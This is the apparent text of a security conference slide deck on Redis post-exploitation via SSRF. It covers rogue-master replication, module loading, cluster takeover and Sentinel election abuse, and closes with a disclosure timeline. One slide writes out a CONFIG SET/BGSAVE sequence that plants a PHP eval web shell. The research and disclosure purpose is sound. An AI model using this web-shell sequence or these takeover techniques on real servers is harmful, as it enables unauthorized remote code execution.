15 Redis Post Exploitation
15 Redis Post Exploitation
post-exploitation
Pavel Toporkov
whoami
Pavel Toporkov
2
intro
Redis is an open
source, in-memory data
structure store, used
as a database, cache
and message broker.
3
redis-server
4
intro
5
intro
6
the challenge
Given:
• SSRF without response content retrieval
• Zero knowledge about database structure (key
names, pub/sub channels, etc)
Find:
• Remote Code Execution
7
known techniques
• https://redislabs.com/blog/cve-2015-4335dsa-3279-redi
s-lua-sandbox-escape/
• http://benmmurphy.github.io/blog/2015/06/04/redis-eva
l-lua-sandbox-escape/
FIXED: 04-Jun-2015
8
known techniques
SLAVEOF (https://redis.io/commands/slaveof)
9
known techniques
MIGRATE (https://redis.io/commands/migrate)
10
known techniques
CONFIG SET
1. Change database file location
CONFIG SET dir /var/www/uploads/
2. Change database file name
CONFIG SET dbfilename sh.php
3. Inject your shell payload into database
SET PAYLOAD '<?php eval($_GET[0]);?>'
4. Save database to file
BGSAVE
11
known techniques
CONFIG SET
12
let's find something
new
13
script-kiddie alert
14
protocol analysis
15
protocol analysis
2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a | .abc..
24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..
requests
responses
16
protocol analysis
2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a | .abc..
24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..
Arguments count
Argument length
requests
Argument value
responses
17
protocol analysis
2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a | .abc..
24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..
requests
responses
18
architecture
master
client
19
architecture
Connection init
TCP connection
client
Database changes
slave master
client
20
slaveof
21
slaveof
2a 32 0d 0a 24 36 0d 0a 53 45 4c 45 43 54 0d 0a | *2..$6..SELECT..
24 31 0d 0a 30 0d 0a 2a 33 0d 0a 24 33 0d 0a 73 | $1..0..*3..$3..s
65 74 0d 0a 24 34 0d 0a 7a 78 63 76 0d 0a 24 35 | et..$4..zxcv..$5
0d 0a 71 77 65 72 74 0d 0a | ..qwert..
22
it's time to create a
rogue server!
23
rogue server
24
data retrieval
NO
25
data retrieval
// networking.c
int prepareClientToWrite(client *c) {
...
if (c->flags & (CLIENT_LUA|CLIENT_MODULE))
return C_OK;
...
if ((c->flags & CLIENT_MASTER) &&
!(c->flags & CLIENT_MASTER_FORCE_REPLY))
return C_ERR;
26
data retrieval
27
data retrieval
// networking.c
int prepareClientToWrite(client *c) {
...
if (c->flags & (CLIENT_LUA|CLIENT_MODULE))
return C_OK;
...
if ((c->flags & CLIENT_MASTER) &&
!(c->flags & CLIENT_MASTER_FORCE_REPLY))
return C_ERR;
28
data retrieval
// scripting.c
/* Enable debug mode of Lua scripts for this client. */
void ldbEnable(client *c) {
c->flags |= CLIENT_LUA_DEBUG;
...
}
29
data retrieval
Exploitation steps:
30
data retrieval
video
31
SLAVEOF 127.0.0.1 1337
data retrieval
maxlen 0
32
pwned? not yet!
33
rogue server
34
synchronization
35
synchronization
36
modules
37
exploitation steps
38
exploit
video
39
exploit
1st connection. Setting
dbfilename
2nd connection. Sending
shared object payload
40
pwned
41
redis-server 5.0
42
redis 5.0
// server.c
/*
* s: command not allowed in scripts.
*/
struct redisCommand redisCommandTable[] = {
...
{"config",configCommand,-2,"last",0,NULL,0,0,0,0,0},
...
};
43
redis 5.0
44
redis 5.0
// replication.c
void syncWithMaster(aeEventLoop *el, int fd, void *privdata, int mask) {
...
snprintf(tmpfile,256,
"temp-%d.%ld.rdb",(int)server.unixtime,(long int)getpid());
}
45
exploitation steps
46
redis-cluster
47
redis-cluster
48
architecture
client#1
client#2
node#1
49
redis-cluster
50
redis-cluster
51
redis-cluster
typedef struct {
char sig[4]; /* Signature "RCmb" (Redis Cluster message bus). */
uint32_t totlen; /* Total length of this message */
uint16_t ver; /* Protocol version, currently set to 1. */
uint16_t port; /* TCP base port number. */
uint16_t type; /* Message type */
...
uint64_t configEpoch;
char sender[CLUSTER_NAMELEN]; /* Name of the sender node */
unsigned char myslots[CLUSTER_SLOTS/8];
char slaveof[CLUSTER_NAMELEN];
char myip[NET_IP_STR_LEN]; /* Sender IP, if not all zeroed. */
...
uint16_t flags; /* Sender node flags */
...
} clusterMsg;
52
redis-cluster
53
cluster takeover
54
exploitation steps
55
redis-cluster
56
redis-cluster
// cluster.c
void clusterUpdateSlotsConfigWith(clusterNode *sender, uint64_t
senderConfigEpoch, unsigned char *slots) {
if (server.cluster->slots[j] == curmaster)
newmaster = sender;
...
if (newmaster && curmaster->numslots == 0) {
serverLog(LL_WARNING,
"Configuration change detected. Reconfiguring myself "
"as a replica of %.40s", sender->name);
clusterSetMaster(sender);
...
57
redis-cluster
When node loses all its slots, it becomes slave and can
be pwned with previous techniques
58
pwned
59
mitigation
60
mitigation
--a
Content-Disposition: form-data; name="zxcv"
61
redis-sentinel
62
redis-sentinel
63
redis-sentinel
64
redis-sentinel
Election algorithm:
1. slave_priority
2. repl_offset
3. runid (lexicographically)
65
redis-sentinel
slave_priorty:1
slave_repl_offset: 999999999
run_id: <0*40>
66
redis-sentinel
Vulnerability:
Sentinel obtains information about slaves only from
master and doesn't check if they are real slaves of this
master.
67
exploitation steps
68
pwned
69
Easy PWN for dessert
70
redis-sentinel
71
redis-sentinel
72
disclosure
Timeline:
06.08.2018 - First email to maintainer
28.08.2018 - Second email to maintainer
?????????? - No response
http://antirez.com/news/96
73
questions?
74